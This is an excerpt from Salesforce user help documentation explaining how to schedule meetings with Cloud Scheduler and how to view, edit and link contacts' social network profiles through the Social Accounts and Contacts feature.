Before you use Cloud Scheduler to request a meeting with a contact, lead, person account, or other Salesforce user, consider these tips: You must have at least read access to the contacts, leads, and person accounts that you request a meeting with. Each invitee must have an email address specified in their record so Salesforce can send them a meeting request. You can invite up to 50 people to a meeting. Invitees can consist of only contacts, leads, or person accounts, only other Salesforce users, or a mix of both. We recommend you install Salesforce for Outlook, Connect for Outlook, or Connect for Lotus Notes so you can sync your calendar events between Salesforce and Outlook or Lotus Notes. When proposing meeting times, it's helpful to have your Salesforce calendar up-to-date so you can see your free and busy times. To request a meeting: 1. Go to either the Calendar section on the Home tab or the Open Activities related list on the detail page of the contact, lead, or person account you want to invite to a meeting. 2. Click New Meeting Request. If this button doesn't display in the Calendar on the Home tab or on the Open Activities related list, ask your Salesforce administrator to add it. 3. Click To to invite other Salesforce users, leads, contacts, or person accounts to the meeting. a. Select the type of invitee from the drop-down list. person accounts are returned in contact searches and can be added as invitees. b. Enter a name or part of a name in the text field, or leave the field blank to expand the search. c. Click Go!. d. In the Search Results area, select the boxes next to the people you want to invite and click Insert Selected. To add more invitees, perform a new search and select more people as needed. If there's a warning icon ( ) next to a person's

171

Activities

Requesting a Meeting Using Cloud Scheduler

name, you can't invite them to the meeting because they don't have an email address specified in their record. Once you add an email address to their record, you can invite them to meetings. e. Click Done. f. To remove someone you just invited, click x next to their name in the To field. You can remove all invitees unless you requested the meeting from an Open Activities related list. In that case, the first contact, lead or person account in the To field can't be removed. 4. Enter a subject and location. If you requested the meeting from an Open Activities related list, the default subject is a combination of the account name for the lead or contact and the company name specified in your personal information. For example, if you're meeting with a contact from the Sterling company and you work for ACME, the default subject is Sterling and ACME. The default location is always To be determined. 5. Select one of these tabs: I propose meeting timesPropose up to five meeting times by picking times in the calendar. See Tips for Proposing Meeting Times on page 173. Let Salesforce propose meeting timesChoose the duration and time frame of the meeting and let Salesforce propose up to five meeting times for you. See Tips for Letting Salesforce Propose Meeting Times on page 174.

6. Click Next. 7. Write a message to the invitees, and click Send. Note the following: Your email signature is automatically added to your message. After you click Send, Salesforce emails a meeting request to the invitees. In the meeting request, invitees click Respond to This Request to open your meeting's Web page. On the meeting Web page, invitees pick the proposed times that work for them and send you a reply. Your meeting's Web page displays all messages between you and the invitees. This includes messages that invitees write when responding to your request. If you requested the meeting from an Open Activities related list, the meeting appears on the detail page for that contact or lead only. It doesn't appear on the Open Activities related list for any other invitee. For example, if you requested a meeting with Jane Smith from her contact detail page and then clicked the To field to invite John Doe, the requested meeting only appears on the Open Activities related list for Jane Smith and not John Doe. If you requested the meeting from the Calendar section on the Home tab, the meeting doesn't appear on the Open Activities related list for either Jane Smith or John Doe.

After you send your meeting request, wait for the invitees to reply with the times they can meet. Then confirm the meeting by selecting a final meeting time.

See Also:
About Cloud Scheduler Canceling a Requested Meeting Rescheduling a Requested Meeting Adding and Removing Invitees from a Requested Meeting

172

Activities

Tips for Proposing Meeting Times

Tips for Proposing Meeting Times


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To request a meeting: Edit Events AND Send Email

Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

When you request a meeting using Cloud Scheduler, you can either propose meeting times or let Salesforce propose times for you. When you propose meeting times: Proposed times aren't saved to your Salesforce calendar. The meeting only appears in your calendar after you confirm the meeting. When the invitees view your meeting request, the proposed times are shown in your time zone. Proposed times aren't shown in the invitees' time zones. You can't propose a time that occurs in the past (before the black line in the calendar). The calendar's shaded areas show when you and the other invited Salesforce users are busy based on your Salesforce calendars. Darker shades show when multiple Salesforce users are busy at the same time. Use the Duration field to change the length of your meeting. To remove a time you proposed, hover over the proposed time and click x.

See Also:
About Cloud Scheduler Tips for Letting Salesforce Propose Meeting Times

173

Activities

Tips for Letting Salesforce Propose Meeting Times

Tips for Letting Salesforce Propose Meeting Times


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To request a meeting: Edit Events AND Send Email

Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

When you request a meeting using Cloud Scheduler, you can either propose meeting times or let Salesforce propose times for you. One of the benefits of letting Salesforce propose meeting times happens when there's a long delay between the time you send the meeting request and when the first invitee views it. For example, if you request a meeting with a contact on a Monday and that contact doesn't view your request until Thursday, Salesforce proposes times from Thursday forward instead of when the meeting request was sent. When Salesforce proposes meeting times: You won't know which times are proposed until after you send the meeting request. Once the first invitee views your request, Salesforce checks the calendars of all Salesforce users invited to the meeting and proposes meeting times based on their availability. Salesforce tries not to propose the same times that invitees have already selected for other unconfirmed meetings. For example, if you request a meeting for the next five business days and your invitees respond that they can meet on Tuesday and Wednesday from 2:00 to 3:00 p.m., and then you request another meeting for the same time frame, Salesforce won't propose times for Tuesday and Wednesday from 2:00 to 3:00 p.m. unless your calendar is completely booked with confirmed meetings and other events. By default, Salesforce proposes meeting times between 9:00 a.m. and 5:00 p.m. in your time zone. However, if you have changed the Start of day and End of day fields in your Personal Information Settings page, Salesforce uses those settings instead. Note: If you don't want to meet at a specific time of day (like your lunch hour), schedule a recurring event in your Salesforce calender to block out that time. The following table describes the settings that control how Salesforce proposes meeting times. Field
Duration

Description The length of your meeting.

174

Activities

Confirming a Requested Meeting

Field
Time Frame

Description How far in advance Salesforce proposes meeting times: Next 5 Business Days/Next 10 Business DaysSalesforce tries to spread out the proposed times over the specified time frame. For example, if your time frame is Next 5 Business Days and the first invitee views the request on a Monday, Salesforce tries to propose a time for each day of that week. If some of your days are booked, Salesforce condenses the proposed times into fewer days. Business days exclude Saturdays and Sundays. WheneverSalesforce tries to propose five meeting times over the next five business days, and if it can't propose enough times, it extends the range over the next 10 business days. If Salesforce still can't find five times to propose, it looks for available times over the next four weeks. When you select this option, some of the times Salesforce proposes could be seven weeks away (5 business days + 10 business days + 20 business days = 7 weeks).

See Also:
About Cloud Scheduler Tips for Proposing Meeting Times

Confirming a Requested Meeting


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To confirm a meeting: Edit Events AND Send Email

Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

175

Activities

Confirming a Requested Meeting

After you use Cloud Scheduler to request a meeting, wait for the invitees to reply with the times they can meet. When this happens, you receive an email notification, and the meeting in Salesforce is automatically updated with the times the invitees selected. You can then choose the best time to meet and confirm the meeting. The meeting confirmation page displays as read-only to users without the Edit Events permission and users without the Edit permission on the contact or lead record associated with a proposed meeting. To confirm a meeting: 1. Open your meeting using one of these methods: From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your meeting. If the Requested Meetings subtab doesn't display on the Calendar section, ask your administrator to add it. If you requested the meeting from the Open Activities related list for that contact, lead, or person account, click the subject of your meeting in the related list. From the email notification that you received when an invitee responded to your meeting request, click View Response and Schedule Meeting.

2. Select a time, and click Confirm. The Confirm button displays after you select a meeting time. If you don't select a time, the Send Update button displays instead so you can send the invitees a message without confirming a meeting time. Use the following tools to help you pick a time: Green check marks show when each invitee can meet. Free shows when you are available based on your Salesforce calendar. If none of the times work for the invitees, reschedule the meeting to propose new times.

3. Optionally, enter a message to the invitee. 4. Click Send to confirm the meeting. Salesforce then: Emails the invitees with the final date and time of the meeting. Converts the requested meeting to a new multi-person event. The last message you sent to the invitees appears in the event's Description field, but all other messages between you and the invitees aren't saved. This event appears in the Calendar section on the Home tab. If you requested the meeting from an Open Activities related list, the event also appears in the Open Activities related list for that contact, lead, or person account. Note: If your administrator added required fields to events, you're prompted to update those fields before the meeting is converted to an event.

See Also:
Canceling a Requested Meeting About Cloud Scheduler

176

Activities

Canceling a Requested Meeting

Canceling a Requested Meeting


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To cancel a meeting: Edit Events AND Send Email

Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

If you requested a meeting that hasn't been confirmed, you can cancel the meeting and Salesforce automatically sends a cancellation notice to the invitees. However, if you confirmed the meeting then it has been converted to an event that you can delete like all other activities. To cancel a requested meeting: 1. Open your meeting using one of these methods: From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your meeting. If the Requested Meetings subtab doesn't display on the Calendar section, ask your administrator to add it. If you requested the meeting from the Open Activities related list for that contact, lead, or person account, click the subject of your meeting in the related list. From the email notification that you received when an invitee responded to your meeting request, click View Response and Schedule Meeting.

2. Click Cancel Meeting. You can also click Del next to the meeting from the Open Activities related list. Note: If Close is the only button on the page, you don't have permission to modify the requested meeting. Either ask the organizer to change the meeting details for you, or contact your Salesforce administrator to grant you the required permissions. 3. Click OK to confirm the cancellation.

177

Activities

Rescheduling a Requested Meeting

Salesforce emails a meeting cancellation to all invitees. Canceled meetings are permanently removed and aren't stored in the Recycle Bin.

See Also:
Requesting a Meeting Using Cloud Scheduler Confirming a Requested Meeting Deleting Activities About Cloud Scheduler Adding and Removing Invitees from a Requested Meeting

Rescheduling a Requested Meeting


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To reschedule a meeting: Edit Events AND Send Email

Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

If you used Cloud Scheduler to request a meeting that hasn't been confirmed, you can reschedule it and propose new times. However, you can't propose new times for a confirmed meeting because it's been converted to an event. To reschedule an event, edit the event to change its date and send an update to the invitees. To reschedule a requested meeting: 1. Open your meeting using one of these methods: From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your meeting. If the Requested Meetings subtab doesn't display on the Calendar section, ask your administrator to add it. If you requested the meeting from the Open Activities related list for that contact, lead, or person account, click the subject of your meeting in the related list. From the email notification that you received when an invitee responded to your meeting request, click View Response and Schedule Meeting.

2. Click Reschedule and propose new times. Once the invitees reply to your updated request, you can confirm the meeting.

178

Activities

Adding and Removing Invitees from a Requested Meeting

Note: If Close is the only button on the page, you don't have permission to modify the requested meeting. Either ask the organizer to change the meeting details for you, or contact your Salesforce administrator to grant you the required permissions.

See Also:
Requesting a Meeting Using Cloud Scheduler Confirming a Requested Meeting Canceling a Requested Meeting Adding and Removing Invitees from a Requested Meeting About Cloud Scheduler

Adding and Removing Invitees from a Requested Meeting


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To add and remove invitees from a requested meeting: Edit Events AND Send Email

Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

If you requested a meeting that hasn't been confirmed, you can add and remove invitees at any time. Confirmed meetings are converted to multi-person events. You can edit multi-person events to add and remove invitees. To add or remove invitees from a requested meeting: 1. Open your meeting using one of these methods: From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your meeting. If the Requested Meetings subtab doesn't display on the Calendar section, ask your administrator to add it. If you requested the meeting from the Open Activities related list for that contact, lead, or person account, click the subject of your meeting in the related list. From the email notification that you received when an invitee responded to your meeting request, click View Response and Schedule Meeting.

2. Do either of the following: Click To to invite other Salesforce users, leads, contacts, or person accounts to the meeting. Click x next to an invitee's name to remove them from the meeting.

179

Contacts

Contacts Overview

You can remove all invitees unless you requested the meeting from an Open Activities related list. In that case, the first contact, lead or person account in the To field can't be removed. The calendar automatically updates based on the Salesforce users you added or removed from the meeting. Note: If Close is the only button on the page, you don't have permission to modify the requested meeting. Either ask the organizer to change the meeting details for you, or contact your Salesforce administrator to grant you the required permissions. 3. Click Send Update. 4. Enter a message. For example, you might want to inform your invitees who you're adding or removing from the meeting. 5. Click one of the following: Send to All InviteesSends an update to all existing and added invitees and a cancellation notice to removed invitees. Send Only to Changed InviteesSends an update to added invitees and a cancellation notice to removed invitees.

See Also:
Requesting a Meeting Using Cloud Scheduler Canceling a Requested Meeting Confirming a Requested Meeting Rescheduling a Requested Meeting About Cloud Scheduler

CONTACTS
Contacts Overview
Available in: All Editions except Database.com

Contacts are the people associated with your business accounts that you need to track in Salesforce. For each contact, you can store various kinds of information, such as phone numbers, addresses, titles, and roles in a deal. The Contacts tab lets you quickly create and locate contacts, as well as sort and filter contacts using standard and custom list views. And you can use this tab to view and edit detailed information for each contact you have access to.

180

Contacts

Social Accounts, Contacts, and Leads Overview

You can also enhance your traditional contact data with your customers social information. With the Social Accounts and Contacts feature, you can see your contacts social network profiles and other social data directly in Salesforce. Easy access to this information helps you know your customers better, so you can solve their problems and build stronger relationships.

See Also:
Contacts Home Social Accounts, Contacts, and Leads Overview Accounts Overview Resolving Your Synced Outlook Contacts

Social Accounts, Contacts, and Leads Overview


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions Contacts available in: All Editions except Database.com Leads available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

The Social Accounts and Contacts feature lets you view social network profiles and other social information for your accounts, contacts, and leads, directly in Salesforce. Easy access to this information provides your sales users with social sales intelligence that they can use to better meet existing and potential customers needs. The Social Accounts and Contacts feature is enabled by default for organizations created after the Spring 12 release. For existing organizations, the administrator must enable Social Accounts and Contacts. Note: In the online help and other Salesforce documentation, the word account by itself always refers to both business accounts and person accounts. The terms business account and person account are used when there are differences between the two kinds of accounts. You can see social information from several social networks. Social Network Facebook Information Displayed in Salesforce Supported Records

Facebook gives you a more personal view of your existing and potential Accounts customers and helps you find common interests. For contacts, leads, and Contacts person accounts, you can see profiles, status updates, and the number of mutual friends you share. For business accounts, you can view your customers Leads corporate social media presence, including their company profile and wall posts. Klout is a third-party service that analyzes people's influence across social Accounts networks, including Twitter, Facebook, and LinkedIn. Use Klout to see Contacts

Klout

181

Contacts

Social Accounts, Contacts, and Leads Overview

Social Network

Information Displayed in Salesforce

Supported Records

your accounts', contacts', and leads' influence on social media, who they influence, who influences them, and the topics they talk about. LinkedIn

Leads

LinkedIn is useful for staying up to date on your contacts', leads', and person Contacts accounts' professional personas. You can see profile photos, current titles Leads and companies, and locations. Person Accounts Twitter is a great way to see the public personas of your existing and Accounts potential customers and learn what's on their minds. You can see bios, recent Contacts tweets, and the people who are following and being followed by your Leads accounts, contacts, and leads. YouTube helps you find and view videos related to your accounts, contacts, Accounts and leads. Contacts Leads

Twitter

YouTube

Additional social networks may be available in future updates. Important: The Social Accounts and Contacts feature uses Facebook, Klout, LinkedIn, Twitter, and YouTube public APIs to display social information in Salesforce. Because these social networks have the option of modifying or terminating access to their APIs at any time, salesforce.com cant guarantee the future availability of this feature or any of its functionality, including access to the data that is currently provided or to any particular social network as a whole. To get started with Social Accounts and Contacts, simply sign in to your social network accounts from any account, contact, or lead detail page. This creates private connections between Salesforce and your social network accounts, allowing you to see external social profiles in Salesforce. Then youre ready to take your customer insights to the next level by linking your accounts, contacts, and leads social profiles to their Salesforce records. Once you link a profile to a record, that social data is available to you and everyone else in your organization, without having to log in to other sites. The details that each Salesforce user can see depends on their connection level with the account, contact, or lead, as well as the privacy settings for the profile. Regardless of how much detail is visible, the information that Salesforce displays is always current. Click the social network icons in the header on account, contact, and lead detail pages to display the Social Accounts and Contacts viewer. If no icons are visible, Social Accounts and Contacts is disabled for your organization. If a social network

182

Contacts

Social Accounts, Contacts, and Leads Overview

icon is missing, that service may be turned off. Contact your administrator if you'd like to use this feature or want access to a social network that isn't currently available.

See Also:
Security and Privacy When Using Social Accounts and Contacts Enabling and Configuring Social Accounts and Contacts Using Social Accounts Security and Privacy When Using Social Accounts and Contacts Enabling and Configuring Social Accounts and Contacts Using Social Contacts Security and Privacy When Using Social Accounts and Contacts Enabling and Configuring Social Accounts and Contacts Using Social Leads

Security and Privacy When Using Social Accounts and Contacts


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions Contacts available in: All Editions except Database.com Leads available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

Social Accounts and Contacts is secure and private. Here's an overview of its security and privacy features: Salesforce uses the trusted OAuth protocol when you sign in to your Facebook, LinkedIn, or Twitter accounts, so your login credentials aren't exposed to Salesforce. Salesforce doesn't import or store social information. Each time you select a contact's social profile or YouTube video, Salesforce retrieves the information directly from the corresponding social network and simply displays it. The information that you see is read-only and can't be modified. You can't import or store social data in Salesforce records. This ensures that you always see current details when viewing your accounts', contacts', and leads' social information. The details that are visible to you when you view a Facebook, LinkedIn, or Twitter profile are determined by the connection that you have with the account, contact, or lead, as well as privacy settings. Typically you see the same information as you would when viewing the profile while logged in directly to the social network. Some of your customers, however, may have privacy settings that restrict the visibility of some or all of their profile details outside the network. In those cases, you see very few, if any, profile details in Salesforce. Your view of a Facebook, LinkedIn, or Twitter profile is not shared with anyone else in your organization. Other Salesforce users must sign in to their own social network accounts to use Social Accounts and Contacts and the profile details that are visible depend on each user's connection level with the account, contact, or lead, as well as their privacy settings. None of your Facebook, LinkedIn, or Twitter profile information is stored in Salesforce, nor does Salesforce post anything about you or your activities to your social network accounts. Accounts, contacts, and leads aren't notified when you view their social network profiles using the Social Accounts and Contacts feature.

183

Contacts

Contacts Home

Important: The Social Accounts and Contacts feature uses Facebook, Klout, LinkedIn, Twitter, and YouTube public APIs to display social information in Salesforce. Because these social networks have the option of modifying or terminating access to their APIs at any time, salesforce.com cant guarantee the future availability of this feature or any of its functionality, including access to the data that is currently provided or to any particular social network as a whole.

See Also:
Social Accounts, Contacts, and Leads Overview Using Social Accounts Social Accounts, Contacts, and Leads Overview Using Social Contacts Social Accounts, Contacts, and Leads Overview Using Social Leads

Contacts Home
Available in: All Editions except Database.com

User Permissions Needed To view Contacts tab: To view contacts: To create contacts: Read on contacts Read on contacts Create on contacts

Clicking on the Contacts tab displays the contacts home page. In the View section, select a list view from the drop-down list to go directly to that list page, or click Create New View to define your own custom view. In the Recent Contacts section, select an item from the drop-down list to display a brief list of the top contacts matching that criteria. From the list, you can click any contact name to go directly to the contact detail. Toggle the Show 25 items and Show 10 items links to change the number of items that display. The fields you see are determined by the Contacts Tab search layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer Editions only). The Recent Contacts choices are: Recent Contacts Choice Recently Viewed Description The last ten or twenty-five contacts you viewed, with the most recently viewed contact listed first. This list is derived from your recent items and includes records owned by you and other users.

184

Contacts

Viewing Contact Lists

Recent Contacts Choice Recently Created

Description The last ten or twenty-five contacts you created, with the most recently created contact listed first. This list only includes records owned by you. The last ten or twenty-five contacts you updated, with the most recently updated contact listed first. This list only includes records owned by you.

Recently Modified

Under Quick Create, fill in the fields to add a new contact. Alternatively, click New next to the Recent Contacts section to create a new contact. Under Reports, click any report name to jump to that report. Select any of the links under Tools to manage your contacts. If you sync contacts from Outlook using Salesforce for Outlook, you may see a banner at the top of your Contacts home page that links to a list of your unresolved contacts. These are synced Outlook contacts that still need to be assigned to Salesforce accounts. Person accounts appear in contact list views but not the Recent Contacts list on the Contacts home page.

See Also:
Contacts Overview Using Contacts Creating Contacts Deleting Contacts Creating Custom List Views Resolving Your Synced Outlook Contacts

Viewing Contact Lists


Available in: All Editions except Database.com

User Permissions Needed To view contacts: To create contacts: Read on contacts Create on contacts

The contacts list page displays a list of contacts in your current view. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click a contact name to view the detail. Click Edit or Del to edit or delete the contact. If Chatter is enabled, click or to follow or stop following a contact in your Chatter feed.

185

Contacts

Viewing Contact Lists

If Chatter is enabled, click Chatter in the top-right corner to see feed updates for the list view. Click List to toggle back to the list view. Click New Contact or select Contact from the Create New drop-down list in the sidebar to create a contact. To add contacts to an existing campaign, select the box next to one or more contacts, and then click Add to Campaign. Alternatively, select the box in the column header to select all displayed records, then click Add to Campaign. Click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record. Note that your administrator controls the availability of drag-and-drop scheduling.

Working with Person Accounts


Person accounts appear in contact list views but not the Recent Contacts list on the Contacts home page. When you select a person account name on a contact list view, the corresponding person account appears on the Accounts tab. To visually differentiate contacts from person accounts in contact list views, add the Is Person Account icon as a column; see Creating Custom List Views on page 270. Person accounts do not have contacts. Note: In most situations, you can use person accounts as if they were contacts. You can include them in all contact list views except on the contacts home page. For more information, see What is a Person Account? on page 68.

Sorting List Views


Click any column heading to sort in ascending or descending order using that columns information. At the top of the list, click a letter to display the contents of the sorted column that begin with that character. Note: Professional, Enterprise, Unlimited, and Developer Edition organizations can grant access to contacts beyond what the sharing model allows. See Sharing Contacts on page 213. Contacts that are not linked to an account are always private, regardless of your organizations sharing model. Only the owner of the contact and administrators can view it. Sharing rules and workflow rules do not apply to private contacts. If your organization uses divisions, private contacts always belong to the global division.

See Also:
Customizing User Interface Settings Working with Enhanced Lists Using Inline Editing in Lists Printing List Views Finding Out if Your Partners Use Salesforce

186

Contacts

Using Contacts

Using Contacts
Available in: All Editions Database.com

User Permissions Needed To view contacts: To edit contacts: Read on contacts Edit on contacts

To edit accounts on contacts enabled to use a Customer Portal: Edit on contacts AND Edit Self-Service To edit accounts on contacts enabled to use a partner portal: Edit on contacts AND Manage Partners To view person accounts: To edit person accounts: Read on accounts and contacts Edit on accounts and contacts

Contacts are the individuals associated with your accounts. View and edit contact details (for example, the account name) Use Social Accounts and Contacts to view your contacts social network profiles, see their level of influence in social media, and watch related YouTube videos. Find contact-related information (for example, opportunities) Find and add contacts from Data.com Find and add Data.com contacts for a specific account Clean contact records with Data.com Clean. on page 2726 View contact updates and comments (Chatter) Give Customer Portal users access to a contact Enable a contact as a partner portal user Enabling Partner Super User Access Troubleshoot partner portal user issues

187

Contacts

Viewing and Editing Contact Details

Enable a contact as a Self-Service portal user

See Also:
Contact Fields Creating Contacts Social Accounts, Contacts, and Leads Overview Data.com Product Suite Overview Cloning Contacts Sharing Contacts Merging Duplicate Contacts

Viewing and Editing Contact Details


Available in: All Editions Database.com

User Permissions Needed To view contacts: To edit contacts: Read on contacts Edit on contacts

To edit accounts on contacts enabled to use a Customer Portal: Edit on contacts AND Edit Self-Service To edit accounts on contacts enabled to use a partner portal: Edit on contacts AND Manage Partners To view person accounts: To edit person accounts: Read on accounts and contacts Edit on accounts and contacts

Once you have located a contact on the Contacts home or list pages, click the contact name to display detailed information. Use inline editing to edit fields directly on the detail page. If inline editing isn't enabled, contact your administrator. To display the page in edit mode, click Edit, make your changes, and click Save. To save the current contact and create another one, click Save & New. To open a printable display of the record details, in the top-right corner of the page, click Printable View.

Changing the Account for Contacts


If you change the Account Name field:

188

Contacts

Using Social Contacts

Cases and opportunities associated with the contact remain associated with the previous account and do not roll up to the new account. New cases and opportunities created for the contact are associated with the new account.

There are additional considerations for contacts enabled for portals.

See Also:
Contact Fields Sending Stay-in-Touch Requests

Using Social Contacts


Available in: All Editions except Database.com

When using Social Accounts and Contacts for contacts, you can: Sign in to your social network accounts from any contact detail page. Find your customers Facebook, LinkedIn, and Twitter profiles and link them to their contact records, so you can view this information from contact detail pages. Find YouTube videos related to your contacts and play them from contact detail pages. See your contacts Klout information from contact detail pages. Modify default search criteria if youre having trouble locating a contacts social information. Configure your Social Accounts and Contacts settings so the Social Accounts and Contacts viewer only shows the social networks that you want to use.

See Also:
Social Accounts, Contacts, and Leads Overview Enabling and Configuring Social Accounts and Contacts

189

Contacts

Signing in to Your Social Network Accounts from Contact Detail Pages

Signing in to Your Social Network Accounts from Contact Detail Pages


Available in: All Editions except Database.com

User Permissions Needed To sign in to your social network accounts from contact detail Read on contacts pages:

To get started using Social Accounts and Contacts, you first need to sign in to your social network accounts from any account, contact, or lead detail page. This creates private connections between Salesforce and your social network accounts, allowing you to see external social profiles in Salesforce. These connections persist in future Salesforce sessions so you don't have to sign in to your social network accounts again unless you sign out in the Social Accounts and Contacts viewer. Note: You can see YouTube videos without doing these steps. The Klout service is only available when youre signed in to your Twitter account.. To sign in to your social network accounts from a contact detail page: 1. On the Contacts home page or in a Contacts list view, click a contact's name to display the detail page. You can sign in from any contact's detail page that you have permission to read. 2. In the header on the detail page, click a social network icon ( ). 3. Click the Sign in button on the Social Accounts and Contacts viewer. 4. Enter your social network account credentials and authorize Salesforce to access your account. Your Salesforce account and social network account are now connected. Repeat these steps to create connections for your other social network accounts.

See Also:
Using Social Contacts Social Accounts, Contacts, and Leads Overview

190

Contacts

Viewing Your Contacts' Social Network Profiles

Viewing Your Contacts' Social Network Profiles


Available in: All Editions except Database.com

User Permissions Needed To find and link social network profiles to contact records: To view a contact's social network profiles: Edit on contacts Read on contacts

Once you have signed in to your social network accounts from Salesforce, you can use Social Accounts and Contacts to find your customers' Facebook, LinkedIn, and Twitter profiles and link them to their contact records. Then you can view this information directly from contact detail pages in Salesforce. 1. On the Contacts home page or in a Contacts list view, click a contact's name to display the detail page. 2. In the header on the detail page, click a social network icon ( ). 3. If a social network profile hasn't been associated with the contact yet, Salesforce automatically searches for profiles that match the name on the contact record. Click the correct profile in the search results displayed on the Social Accounts and Contacts viewer. Tip: If the default search doesn't find the correct profile, search again using different search terms.

The profile that you select is linked to the Salesforce record, so other Salesforce users who access the record can also view the profile. 4. View the social information that your contact is sharing with you. Note: Depending on the contact's privacy settings, as well as the permissions set by the contact's friends or connections, you may not see as much information as you would if logged directly into your social network account. 5. You can also: Click Show Photo in Salesforce to display the contact's profile picture on the contact detail page. Click View Full Profile to see the contact's complete social network profile directly in the social network. Click Find Different Profile to change the social network profile that is linked to the contact record. Click Sign Out to close the private connection between Salesforce and your social network account. When you do this, you're unable to see your contacts' social network profiles until you sign in again.

191

Contacts

Viewing YouTube Videos about Your Contacts

Repeat these steps to find and view the contact's other social network profiles. You can use the tabs on the Social Accounts and Contacts viewer to easily switch between the different social networks.

See Also:
Using Social Contacts Viewing YouTube Videos about Your Contacts Viewing Your Contacts' Klout Information Social Accounts, Contacts, and Leads Overview

Viewing YouTube Videos about Your Contacts


Available in: All Editions except Database.com

User Permissions Needed To find and view YouTube videos related to contacts: Read on contacts

You can use Social Accounts and Contacts to find YouTube videos related to your contacts and play them from contact detail pages in Salesforce. 1. On the Contacts home page or in a Contacts list view, click a contact's name to display the detail page. 2. In the header on the detail page, click the YouTube icon ( ). 3. In the YouTube search results, click the video that you want to watch. Tip: If the default search doesn't find videos for the correct person, search again using different search terms.

4. The YouTube player opens in the Social Accounts and Contacts viewer and the video begins playing.

See Also:
Using Social Contacts Viewing Your Contacts' Social Network Profiles Viewing Your Contacts' Klout Information Social Accounts, Contacts, and Leads Overview

192

Contacts

Viewing Your Contacts' Klout Information

Viewing Your Contacts' Klout Information


Available in: All Editions except Database.com

User Permissions Needed To view a contact's Klout information: Read on contacts

You can use Social Accounts and Contacts to see your contacts Klout information, directly from contact detail pages in Salesforce. Note: The Klout service is dependent on Twitteran administrator must enable Twitter in your organizations Social Accounts and Contacts settings and you must be signed in to your Twitter account. You dont need a Klout account, or have to be signed in to your Klout account, to see Klout information in Salesforce. Before Klout information is available for a contact, you or someone else in your organization needs to associate a Twitter profile with the contact record. To see Klout information for a contact: 1. On the Contacts home page or in a Contacts list view, click a contact's name to display the detail page. 2. In the header on the detail page, click the Klout icon ( ). 3. View the contacts Klout information.

See Also:
Using Social Contacts Viewing Your Contacts' Social Network Profiles Viewing YouTube Videos about Your Contacts Social Accounts, Contacts, and Leads Overview

Tips for Finding Your Contacts' Social Information


Available in: All Editions except Database.com

When you want to associate a social network profile with a contacteither for the first time or if youre switching to a different profile using the Find Different Profile buttonthe Social Accounts and Contacts feature searches for profiles that match the Name field on the contact record. If you're looking for a LinkedIn profile, the search also matches against the Account Name field. Similarly, when looking for YouTube videos that are related to a contact, the default search criteria is determined by the Name field.

193

Contacts

Configuring Your Social Accounts and Contacts Settings

Here are some tips if youre having trouble finding a contacts social information. If the default search can't locate your contact's social network profile or YouTube videos related to the account, enter different keywords in the search box on the Social Accounts and Contacts viewer and click Search. The name on the contact record may be different from your contacts social network user name or the name used in YouTube video keyword tags. Try different variations of the contact's name; for example, search for Maddie Rigsby instead of Madison Rigsby. For LinkedIn profile searches, the account name on the contact record may not exactly match the company name in the contact's LinkedIn profile. Try different versions of the account name, such as Universal Paper or Universal Paper, Incorporated instead of Universal Paper, Inc.

If you still can't find the correct profile, the contact may not have an account in the social network or the contact's privacy settings may be blocking you from finding their profile in a search. If your YouTube searches are still unsuccessful, the contact may not be featured in any videos shared on YouTube.

See Also:
Using Social Contacts Social Accounts, Contacts, and Leads Overview

Configuring Your Social Accounts and Contacts Settings


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions Contacts available in: All Editions except Database.com Leads available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

If the Social Accounts and Contacts feature is enabled for your organization, you can turn off social networks that you don't want to use. You can also turn off the Social Accounts and Contacts feature, if needed. 1. Click Your Name > Setup > My Social Accounts and Contacts > Settings. 2. Click Change your Social Accounts and Contacts settings. 3. Customize Social Accounts and Contacts so it works the way you want it to. Select the social networks that you want to use. Deselect any of the services that you don't want to use. Deselect Use Social Accounts and Contacts to turn off the Social Accounts and Contacts feature entirely. Select this checkbox to turn the feature back on if you change your mind.

194

Contacts

Contact History

4. Click Save.

See Also:
Social Accounts, Contacts, and Leads Overview Security and Privacy When Using Social Accounts and Contacts Using Social Accounts Social Accounts, Contacts, and Leads Overview Security and Privacy When Using Social Accounts and Contacts Using Social Contacts Social Accounts, Contacts, and Leads Overview Security and Privacy When Using Social Accounts and Contacts Using Social Leads

Contact History
Available in: All Editions except Database.com

User Permissions Needed To view contacts: Read on contacts

The Contact History related list of a contact detail page tracks the changes to the contact. Any time a user modifies any of the standard or custom fields whose history is set to be tracked on the contact, a new entry is added to the Contact History related list. All entries include the date, time, nature of the change, and who made the change. Modifications to the related lists on the contact are not tracked in the contact history. For information about setting up which fields are tracked, see Tracking Field History for Standard Objects on page 1120.

195

Contacts

Finding Contact-Related Information (Related Lists)

Finding Contact-Related Information (Related Lists)


Available in: All Editions Database.com

